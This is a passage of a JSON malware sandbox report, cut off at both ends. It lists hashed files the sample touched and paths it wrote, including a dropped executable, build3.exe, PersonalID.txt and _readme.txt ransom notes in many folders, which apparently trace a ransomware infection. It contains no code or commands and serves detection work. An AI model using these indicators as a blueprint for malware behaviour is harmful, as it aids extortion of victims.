report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"netnb.inf","sha256":"d3d8ef2b52ff6d570b347e825ab28ce78d31c613c6ffda6d458c9eabc03183ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"oposdrv.inf","sha256":"197344e7eaa449f8df1c0a190f36a0fe333b46d65fc8580c9a708d79de325b72","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"urschipidea.inf","sha256":"2f6357821e7ba13ed4fa6b97de55be9e2c999732e680f18aa80cde68d36f91f9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"urssynopsys.inf","sha256":"effa13b58d69e32f0b3789565b4e979caa4e079064b395f3212e89eefe2b7762","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"vhdmp.inf","sha256":"1230bdcccd051e3d37a973fe8c30071c9be6834d81e35751a97bb6d88572e797","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"xboxgip.inf","sha256":"77e3ed0e58fd3c5ebaa3fe45b59d406316662a5c8858cdc9bc85f72851d1c809","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"credentialuibroker.exe","sha256":"512ea6f825e0db1e804184ee50753cf5e36c710076621c5291fa280fcf860dae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"appidcertstorecheck.exe","sha256":"76ecf13bd1f2bcaa0582fd5450fa51e4b107081a8bc486db83784a3d0e51df12","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"axinstui.exe","sha256":"1be934a88b6e666ff2f1e0db3171a5a9d81ce2126a9a145e9eee22dc08a1baab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"clip.exe","sha256":"29a9c419cb05ecb3264f3ec49c49894d66e688df3f96166527ce807d5da69805","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"control.exe","sha256":"94e0754d9e4f2bab90d818d836aed1544e0b5ae97fb12a82fe5a8e669312b447","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"credwiz.exe","sha256":"98525a54d439c0c0ed89979d38d68d9c0664dd799a6ca40de3586cc777e91460","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"MicrosoftEdgeSetup _1_.exe","sha256":"33b25153f37c31485e8495b7c0499bdb110d22eced6d7e9ead653bbc425b766e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"t64-arm.exe","sha256":"0312c5de470cc2acae993d46721b1884684893670b0e3e5a0dee35f631887966","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"w64-arm.exe","sha256":"2470c5fcee92a508ecdf5f6f1426e83bd95115095e7fea80f508830884071740","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"gui-arm64.exe","sha256":"f6e0b59594ea60cbb94e4d0461c136b4166fbbe376b150d05e74c84efd8496a5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"cli-arm64.exe","sha256":"57c62ca4f6f481ff2a70fb99428579dac59299e2d41b9b263f787f1771c79f52","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"t64.exe","sha256":"c46862ac3f9cbbd02191c39bb520e05df24f702b8d94e9f0a32d13d9b2f856f1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"w64.exe","sha256":"4f55713c3a5ca5600c42d5f4fd1b2236e01dcf9a5a59aab9733365e9b37c779c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"t32.exe","sha256":"77bb43d9ba81a667e2ce0b9e2a589ed93d92220f7058e1f5dae3bd481f00f19a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"w32.exe","sha256":"e76cbce9112eca40560ddd869caadfc0bc66a28504da82ff4f11d2f2cd60bc80","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"gui-64.exe","sha256":"72b2da3e3d54c4ce6e1990c2822e58ed4ac5a214a7d608d68e0328fcc2482eaf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"cli-64.exe","sha256":"a2c5f32f4619bc15c7c0f8c99dda954ed30afcedecc52ebec2a8df2cd73368de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Pythonwin.exe","sha256":"b61d88b1bd359425fb3dcdd2dfd5e26afaae2d1cc189221f5dec5392b630c6c3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"gui.exe","sha256":"dc8afd11d05ae1bd5a45b77cc67a26d642531f8a603eb42d017fb7780c958b52","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"cli.exe","sha256":"c8f3acf7903fd8f0a2b3dff4261a45b92412d3040ab857faf6ef70b35c18e057","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"gui-32.exe","sha256":"aaf2613083d9ca8a9da076abeff105328b350c2d14225d76f0d996e9bc2ef6e2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"cli-32.exe","sha256":"b0dc07259a2c587ce4ca0cb6b07cbe5aa1448363f3c4a8e55260278982831909","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"x86_64-w64-mingw32-nmakehlp.exe","sha256":"8d7c5a0345cbb888058ad2c0460d669a2094069db411ce9957d94bb24d9d465b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"pythonservice.exe","sha256":"97eed7146e1464eb5e49d3dff390e96a701561fe2f6e72ee02e09e8544238f87","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"build3_1_.exe","sha256":"ebfef207462c29030b8a06068c8cbf1cfeae1304813b9cdbfa2d705b314bf692","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"TM01793058_fn_Median_.dotx","sha256":"5a48f0fa1af648f5615a76fb4428300450f3f092f354d31ea4a81936a2dc5c3f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"TM01793060_fn_Origin_.dotx","sha256":"80ea833bc00cea15ea04da4da2f1a05c6c3948b083aecccdcc9a746023607809","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"TM01840907_fn_Equations_.dotx","sha256":"a38a5dbb081585b7a3b96dbf272d6ff94bb51b2e236f2d8a850fef5fd4d8c206","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"TM03998158_fn_Element_.dotx","sha256":"410293188bf08a824acefa0f954cb1b49f82c092f6e7fb39b091e8724dd6a2ee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"TM01793064_fn_Equity_.dotx","sha256":"033095a878dd219f4c88724e7f0247b4b3f3c8dbfc63b1eb7eac5a8ac7d58cdb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}],"files_written":[{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\get[1].php","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\bowsakkdestx.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\SystemID\\PersonalID.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\build3[1].exe","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%LOCALAPPDATA%\\2c5e88be-1b09-45a3-bf46-9344370fc3da\\build3.exe","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\Config.Msi\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\tempdir\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\TorService\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0000.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0002.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0003.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0004.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0005.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0006.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0007.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0008.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0009.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0010.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0011.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0012.chk\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\TorService\\data\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\TorService\\tor\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"%USERPROFILE%\\_readme.txt","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\bootTel.dat","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\file00000003.chk","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\$filehashes$.dat","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_3ea100bf4da69ecb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_e7ae4b063c62a0bc.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_b90b6903ec9a72db.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_bd07a659ea0b4f4b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ccountsrt.resources_31bf3856ad364e35_10.0.17134.1_en-us_dc0b1719a7e1bc24.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_ae4d644f2ed63425.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_bf95c9c4974efad0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..cymanagerbrokerhost_31bf3856ad364e35_10.0.17134.1_none_644f5bdfd9647dba.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ernetmail.resources_31bf3856ad364e35_10.0.17134.1_en-us_cf3c5a6654651d32.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..etmailcsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_96611701049c6174.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ineshared.resources_31bf3856ad364e35_10.0.17134.1_en-us_c96d47a2570a4d1b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..licymanagerbrokerps_31bf3856ad364e35_10.0.17134.1_none_5e9328a4938e27b9.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ontroller.resources_31bf3856ad364e35_10.0.17134.1_en-us_fe1e2f2b714b36b3.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..orkhelper.resources_31bf3856ad364e35_10.0.17134.1_en-us_1b018b35f5ddad2e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..rokerhost.resources_31bf3856ad364e35_10.0.17134.1_en-us_57732c362fd6e5d5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..taccessor.resources_31bf3856ad364e35_10.0.17134.1_en-us_eaab6e3bc583134c.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..vesynccsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_85ab47dc0a11718d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-accountaccessor_31bf3856ad364e35_10.0.17134.1_none_ace0eed0fc56496f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-accountsrt_31bf3856ad364e35_10.0.17134.1_none_151a1b146da49afd.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-activesynccsp_31bf3856ad364e35_10.0.17134.1_none_f33b0ddddab62566.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-aphostclient_31bf3856ad364e35_10.0.17134.1_none_085c9ad7af984bcf.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-aphostres_31bf3856ad364e35_10.0.17134.1_none_b8e036b8f18490ec.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-aphostservice_31bf3856ad364e35_10.0.17134.1_none_3abe8fc5b712e80b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-engineshared_31bf3856ad364e35_10.0.17134.1_none_db8c1c8a8d44988e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-inprocloggersetup_31bf3856ad364e35_10.0.17134.1_none_88d720ce10d25069.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-internetmailcsp_31bf3856ad364e35_10.0.17134.1_none_e0ae355aa7085a45.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-internetmail_31bf3856ad364e35_10.0.17134.1_none_2d05acef046f159b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-networkhelper_31bf3856ad364e35_10.0.17134.1_none_a0fa210c520b753b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-standard-config_31bf3856ad364e35_10.0.17134.1_none_d914b9c2a964ff65.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-synccontroller_31bf3856ad364e35_10.0.17134.1_none_034ee57d81775b52.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncproxy_31bf3856ad364e35_10.0.17134.1_none_d607dcf5dc927baa.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_af-za_75594e685e635a3e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_am-et_7d7c85c6592f59a5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_as-in_7a92200a5b164ca5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_az-..-az_430003654a8ac792.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_be-by_2329316d4a126116.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_1b1810594f44477a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-bd_1977cb5b5057fd7c.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-in_1de673af4d7ede29.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bs-..-ba_9dc79e5d6403da80.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C